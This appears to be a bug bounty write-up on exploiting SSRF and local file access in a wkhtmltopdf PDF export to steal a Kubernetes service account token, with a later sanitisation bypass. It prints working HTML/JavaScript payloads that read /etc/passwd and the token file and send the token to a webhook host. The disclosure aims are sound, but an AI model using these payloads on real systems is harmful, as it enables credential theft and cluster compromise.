Exploiting SSRF in PDF Generation to Leak a Kubernetes Service Account Token
How I found a critical vulnerability in a multi-billion-dollar company’s infrastructure and earned a $4,000 reward
Passionate about all things cybersecurity.
Note – Disclosure Status:
This vulnerability has not been disclosed by the affected company. Any information that could identify the company has been redacted.
Intro
While hunting for bugs on a company’s VDP (Vulnerability Disclosure Program) on the platform HackerOne, I took a closer look at one of the subdomains and noticed something interesting. The website included a chat feature for customer–support communication, as well as an option to download the chat history.
When this option was used, a server-side generated PDF containing the full chat logs was downloaded to the browser. This suggested that a PDF generation engine was being used on the backend.

After watching Ben Sadeghipour’s DEF CON talk,
Owning the Cloud through SSRF & PDF Generators,
I thought that attacking this feature would be worth exploring.
Identifying the PDF generator
So how do you attack a PDF generator running on some random machine on the internet? The first step in any attack is reconnaissance, understanding what software and version you are dealing with.
In this case, I downloaded a generated PDF and opened it in HxD, a hex editor that allows inspection of a file’s raw bytes. PDF generators often leave behind identifiable artifacts, such as embedded strings, that reveal which software was used to create the file.
I found what I was looking for from the first few bytes:

wkhtmltopdf 0.12.4
wkhtmltopdf
wkhtmltopdf is a command-line tool that converts HTML documents or web pages into PDF files. It uses a headless WebKit rendering engine, which means it loads and displays HTML, CSS, JavaScript, images, and fonts just like a web browser. Once the page is fully rendered, the tool generates a PDF by essentially “printing” the content. It should be noted that wkhtmltopdf is no longer maintained and should not be used.
Finding vulnerabilities
After identifying both the PDF generator and its version, I immediately searched for known security issues affecting this release. It did not take long before I came across a GitHub discussion where a contributor mentioned a security issue related to the default configuration of the tool.
All versions of wkhtmltopdf ≤ 0.12.5 allow access to local files on the machine where the program is running. This means that if wkhtmltopdf receives HTML or JavaScript referencing a local file, it will be able to access and read it.
This behavior becomes dangerous when untrusted HTML is passed to the renderer without proper sanitization.
Is it Vulnerable?
I wanted to see if my input was being sent unsanitized to wkhtmltopdf, to test this I created a simple payload using HTML and JavaScript that would trigger an out-of-band (OOB) interaction to one of my webhooks if the PDF generator rendered it. I pasted the payload as a chat message and then generated a PDF containing the chat history.
<iframe src="javascript:fetch('https://webhook.site/WEBHOOK_ID')"></iframe>
After a few seconds, I received a callback from an IP address. This IP most likely belonged to the machine running wkhtmltopdf.
This confirmed that JavaScript execution was possible and that we could forge requests (SSRF) within the PDF generation context.
Next, I wanted to see whether I could access local files using the file:// protocol. I initially assumed that the machine was running Linux, so I tested the following simple payload:
<iframe src="file:///etc/passwd"></iframe>
The contents of /etc/passwd, a list of local user accounts, were embedded directly into the generated PDF and could be read without any issues. This is really good as it confirms that we have local file access.
However, this did not demonstrate meaningful impact on its own. Simply leaking usernames is not enough. I wanted to show that it was possible to access more sensitive and confidential information.
Instead of blindly brute-forcing file paths, I relied on prior knowledge about the target environment. The callback IP I received earlier belonged to Microsoft, which strongly suggested that wkhtmltopdf was running on a Microsoft hosted system. This made it possible to more reliably infer the underlying platform and identify default files that were far more likely to contain sensitive information. I came to the conclusion that the PDF generator was being ran inside a Kubernetes cluster.
Kubernetes
Kubernetes is a platform for running and managing containerized applications across a cluster of machines. Applications interact with the cluster through the Kubernetes API.
A pod is the smallest deployable unit in Kubernetes. It typically contains one or more containers that share the same network namespace and storage, and run together on a node.
The file /var/run/secrets/kubernetes.io/serviceaccount/token contains a service account token that is automatically mounted into pods and used to authenticate to the Kubernetes API. If an attacker obtains this token, they can act as the pod’s service account. Depending on its permissions, this may allow cluster enumeration, access to secrets, lateral movement, or even full cluster compromise.
PoC + Exploitation
My goal was to obtain the service account token. Since it is mounted into pods by default, I knew it should be accessible. By putting together a simple payload, I should be able to read the file and send its contents to my webhook.
<iframe src=\"javascript:x=new XMLHttpRequest;x.onload=function(){new Image().src='https://webhook.site/WEBHOOK_ID/?data='+encodeURIComponent(this.responseText)};x.open('GET','file:///var/run/secrets/kubernetes.io/serviceaccount/token');x.send()\"></iframe>
The iframe element is used to execute content when the document is rendered. Its src attribute contains a JavaScript URL, which runs the embedded code as soon as the iframe loads.
The code creates an XMLHttpRequest object and configures it to perform a GET request to the service account token using a file:// URI. When the request completes, an onload handler makes the response available in the responseText property.
Next, a new Image object is created, and its src attribute is set to an external URL with the token URL-encoded as a parameter. This automatically triggers an HTTP request to our webhook, sending the token.
I pasted the final payload as a comment in the chat

After pressing the “Download Comment History” button, I received a request that contained the entire service account token as a request parameter. Success!

At this point, I stopped testing, as any further exploitation would have been out of scope for this target. I reported the vulnerability to the company on HackerOne, where it was classified as a critical, the highest severity level. The company was very pleased with the finding, and as a result, I was invited to their private BBP (Bug Bounty Program), where researchers get paid money for identifying security issues that could impact the organization.
The Bypass
The company initially addressed the issue by sanitizing all HTML content in chat messages, which prevented payloads like the one used in the PoC from being sent. However, the fix was implemented incorrectly and only partially mitigated the vulnerability.
When a chat message is sent, the following JSON structure is constructed and transmitted to the server via a POST request (only the relevant fields are shown):
"chat": [
{
"message": "My chat message",
"attachments": [
""
]
}
]
After the fix, the message field was properly sanitized, making it impossible to inject payloads such as:
"chat": [
{
"message": "<iframe src=\"file:///etc/passwd\"></iframe>",
"attachments": [
""
]
}
]
However, the root problem was that only the message field was sanitized, while the attachments field was left untouched. This allowed the same attack vector to be reused by placing the payload in the attachments field instead.
"chat": [
{
"message": "My chat message",
"attachments": [
"<iframe src=\"javascript:x=new XMLHttpRequest;x.onload=function(){new Image().src='https://webhook.site/WEBHOOK_ID?data='+encodeURIComponent(this.responseText)};x.open('GET','file:///var/run/secrets/kubernetes.io/serviceaccount/token');x.send()\"></iframe>.jpg"
]
}
]
This resulted in the same impact as the original vulnerability.
After reporting this bypass through the company’s private bug bounty program (which I had recently been invited to), the issue was fully resolved by applying proper sanitization to all user-controlled input fields. The vulnerability was confirmed fixed, and I was awarded $4,000, which was the program’s maximum payout.

Timeline
July 22, 2025, 10:26 UTC – Vulnerability reported to the affected company.
August 1, 2025, 19:28 UTC – Initial response received from the company.
August 27, 2025, 19:07 UTC – Original vulnerability fixed.
August 31, 2025, 07:45 UTC – Bypass reported.
September 25, 2025, 18:17 UTC – Bypass fully fixed; exploit no longer functional. I was awarded $4,000.
Conclusion
When deploying PDF generators, there are many things that can go wrong, as shown in this write-up. Blindly trusting user input and using old or outdated software can quickly lead to a total loss of confidentiality and integrity as internal assets are compromised. This write-up demonstrates some of the risks that arise when user input is not properly handled and software is not kept up to date.
Thanks for reading!
